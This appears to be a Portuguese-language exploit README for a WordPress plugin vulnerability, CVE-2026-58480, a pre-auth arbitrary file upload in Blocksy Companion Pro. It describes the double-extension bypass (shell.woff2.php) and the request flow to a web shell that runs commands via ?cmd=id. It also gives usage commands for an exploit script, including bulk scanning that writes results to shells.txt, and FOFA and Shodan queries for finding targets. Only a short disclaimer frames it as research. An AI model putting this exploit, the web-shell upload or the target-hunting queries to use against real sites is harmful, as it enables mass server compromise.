
CVE-2026-58480 / CVE-2026-15158 — Unauthenticated RCE in Blocksy Companion Pro < 2.1.47 (300K+ installs). Pre-auth arbitrary file upload via double-extension bypass.
CVE-2026-58480 (também referenciada como CVE-2026-15158) é uma vulnerabilidade crítica (CVSS 9.8) de upload arbitrário de arquivos não autenticado no Blocksy Companion Pro < 2.1.47 — o complemento premium do tema Blocksy para WordPress (mais de 300.000 instalações ativas).
O manipulador AJAX save_attachments do recurso Advanced Reviews (parte do WooCommerce Extra) aceita uploads de arquivos sem autenticação. A extensão Custom Fonts valida os uploads por meio de uma verificação de substring com strpos() para .woff2 / .ttf — e não pela extensão de arquivo real. Os atacantes contornam isso com nomes de arquivo de extensão dupla, como shell.woff2.php: .woff2 corresponde à verificação de substring, .php é executado no servidor.
| Versão | Status |
|---|---|
| < 2.1.47 | Vulnerável |
| 2.1.47+ | Corrigida |
Requisitos: Licença premium com as extensões WooCommerce Extra (Advanced Reviews) E Custom Fonts ativas. O plugin gratuito
blocksy-companionnão contém os caminhos de código vulneráveis.
A extensão Custom Fonts registra um filtro wp_check_filetype_and_ext que valida nomes de arquivo usando strpos() — uma correspondência por substring — em vez de verificar a extensão real do arquivo via PATHINFO_EXTENSION:
// framework/premium/extensions/custom-fonts/extension.php#L137 (reconstructed)
add_filter('wp_check_filetype_and_ext', function($data, $file, $filename, $mimes, $real_mime) {
if (strpos($filename, '.woff2') !== false ||
strpos($filename, '.ttf') !== false) {
$data['ext'] = 'woff2';
$data['type'] = 'font/woff2';
}
return $data;
}, 10, 5);
A função save_attachments do Advanced Reviews chama o tratamento padrão de upload do WordPress, que invoca esse filtro. Um arquivo chamado shell.woff2.php passa porque .woff2 existe como substring — o filtro NÃO verifica se é a extensão final.
POST /wp-admin/admin-ajax.php
action=blc_save_review_attachments
blc-review-images[] = shell.woff2.php (multipart, PHP payload)
→ wp_check_filetype_and_ext filter: ".woff2" found → approved
→ File saved to wp-content/uploads/YYYY/MM/shell.woff2.php
→ GET /wp-content/uploads/YYYY/MM/shell.woff2.php?cmd=id
→ RCE as www-data
| Arquivo (Trac) | Linha | Finalidade |
|---|---|---|
framework/premium/extensions/custom-fonts/extension.php | 137 | Filtro de validação strpos() |
framework/premium/extensions/woocommerce-extra/features/advanced-reviews/feature.php |
git clone https://github.com/shinthink/CVE-2026-58480.git
cd CVE-2026-58480
pip install requests
# Fingerprint target
python exploit.py -u https://target.com --check
# Full exploit
python exploit.py -u https://target.com
# Bulk scan
python exploit.py -f targets.txt -o shells.txt
FOFA: body="/wp-content/themes/blocksy/"
Shodan: http.html:"blocksy-companion"
blc-review-images[]wp_check_filetype_and_extEste exploit é fornecido apenas para fins educacionais e de pesquisa de segurança autorizada. Não o utilize contra sistemas sem permissão explícita do proprietário.
| 811 |
Manipulador save_attachments |